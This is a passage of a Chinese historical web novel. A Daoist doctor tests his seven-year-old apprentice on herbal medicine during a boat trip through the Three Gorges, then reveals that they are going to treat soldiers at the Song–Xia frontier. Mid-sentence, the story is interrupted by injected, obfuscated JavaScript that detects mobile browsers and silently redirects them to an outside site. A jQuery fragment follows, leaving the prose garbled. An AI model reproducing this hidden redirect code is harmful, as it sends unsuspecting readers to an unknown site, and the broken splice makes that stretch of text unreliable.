“乖徒儿,瞅什么呢?喲,那儿还生了棵石楠树呢,一路上见多了竹柏,乍一看见这石楠还怪新鲜的。”贵生道人手贱地伸出爪子戳了戳苏衡的侧脸,然后又若无其事地收回手,背在身后,企图用石楠树转移自家徒弟的注意力。 苏衡捂着被戳疼的右脸,平静无波的眼神默默盯着他师傅。 “瞅我作甚?喏,看那边,那边的石楠树比你师傅好看。”贵生道人看天看地就是拒绝与苏衡对视。 “……”苏衡面露无奈,只好重新回头,望向江边山景。 不远处的一座悬崖上,果然生长着一棵孤零零地石楠树。此时既非石楠的花期,又非果期,只有满树的绿叶迎风摇曳,追逐着一缕缕难得的日光。 “徒儿,既然这么巧见着了石楠树,为师顺便考考你。这石楠什么部位可入药?都有些什么功效?”贵生道长一摸长须,随机来了一场“小考”。 苏衡并未被难倒,不假思索地答道:“石楠的叶与根皆可入药。石楠叶与石楠根皆性平味苦,有小毒。石楠叶具有祛风湿,通经络,益肾气之功效。石楠根能祛风除湿,活血解毒。” “嗯,不错不错”,贵生道长心知这个问题简单,已难不倒他徒弟,“徒儿,你可知这三峡虽险,但是这两岸高山峭壁可都是无穷的宝库。山上的草木虫兽,有不少都是绝佳的药材。可惜,此间人空守宝山,却不认得那些天材地宝。” “师傅怎知山上居民不认得山中草药?”苏衡问道。 贵生道人微微一笑,指着一处山崖上的茅屋,示意苏衡细看:“你看那座茅屋,屋顶片瓦全无,只用一些木板盖着,勉强遮风蔽雨罢了。那屋中主人恰好在附近砍柴,看这情形,他应当是以此为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14516398|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的樵夫。若是他能辨得山中珍贵药材,靠卖药就就足以挣得盖一间瓦屋的银钱,又何须辛苦砍柴,只挣得几个勉强能饱腹的铜板。” 苏衡依言望去,果然看见一间背负青天,伶仃而立的小茅屋,依稀能看见屋主人在近旁砍柴。此时,恰有一只苍鹰自空中盘旋而至,翅羽凌风,逍遥云中。苏衡见了,默然半晌,突然道:“人生劳苦,不如苍鹰。” 贵生道人闻言,直接给了苏衡一记爆栗:“思考半天你就得出这么个结论!你师傅我天生乐观豁达,你身为我徒弟,怎么没学到我的半点开朗呢!” “……”苏衡揉揉脑门,不发一语,把贵生道人气个半死,拂袖而去。 “师傅。”苏衡叫住贵生道人,“离开眉山前我就问过您,此行要去何处。您说要等进了三峡再告诉我。不知现在,您愿意告诉我了吗?” 贵生道人脚步一顿,然后头也不回地摆摆手:“原本今日要告诉你的,但是你方才惹为师生气了,为师现在没心情告诉你!等明儿再说。” “……”苏衡望着贵生道人的背影欲言又止,最终还是默默闭上了嘴。算了,师傅又在耍小孩子脾气,还是等明日再问吧,不急这一时。 次日,航船终于离开离开瞿塘峡,驶进了巫峡。 一进巫峡,苏衡能明显感觉到船上的光线暗了下来。巫峡因两岸悬崖高耸,江面要比瞿塘峡狭窄许多,日光也难以照射进来,只有在正午时分,能沐浴到转瞬即逝的阳光。 巫山十二峰,最出名的便是神女峰。此峰因状似神女而得名,又因宋玉的《神女赋》而盛名远扬。神女峰上有座神女祠,神女祠附近栖息着无数乌鸦,百姓们都管那些乌鸦叫做“神鸟”。 神女峰一带的乌鸦似乎确实比别处的乌鸦要有灵性,也不怕人。船夫们往空中抛洒吃剩的干粮碎渣,它们往往能从空中迅捷地俯冲下来,精准地叼走碎渣,吞吃入腹,惹来船夫们的一片叫好。 苏衡心里惦记着事,早晨起身,更衣洗漱后,便开始找他师傅。没想到一向喜欢赖床的贵生道人竟不在房中,而是早早起了床,和船夫们一道喂乌鸦玩。 “师傅。”苏衡找到贵生道人时,他正兴致勃勃地在抛洒饼渣逗鸟,不时还虚晃一枪,只做了个抛掷的动作,却不见饼饵,惹得头上盘旋不去的乌鸦一阵气愤地大叫,“呱呱呱”的声音响成一片。 “徒儿,快来,和我一起喂乌鸦。这些傻鸟儿还挺好玩的。”贵生道人玩得不亦乐乎。 见贵生道人完全不记得自己昨日答应的事,苏衡只好再次提醒道:“师傅,说好了您今日会告诉我我们此行要去哪里的。” “哦,”贵生道人并未停下扔饼饵的动作,随口道,“北边正打仗呢,我们要去鄜延路行医。军中伤患多,正是急需郎中的时候。” 鄜延路?苏衡眼神微闪。那可是在大宋与大夏的交界。听阿父说,宋夏如今交战,战况胶着,而且目前的情况是朝廷的军队败多胜少。军中危险,师傅竟有这般胆魄带着才七岁的他去行医。师傅真是…… 苏衡望着还在专心致志喂乌鸦的贵生道人,唇边忽然勾起一抹浅淡的微笑。不过,正和他意。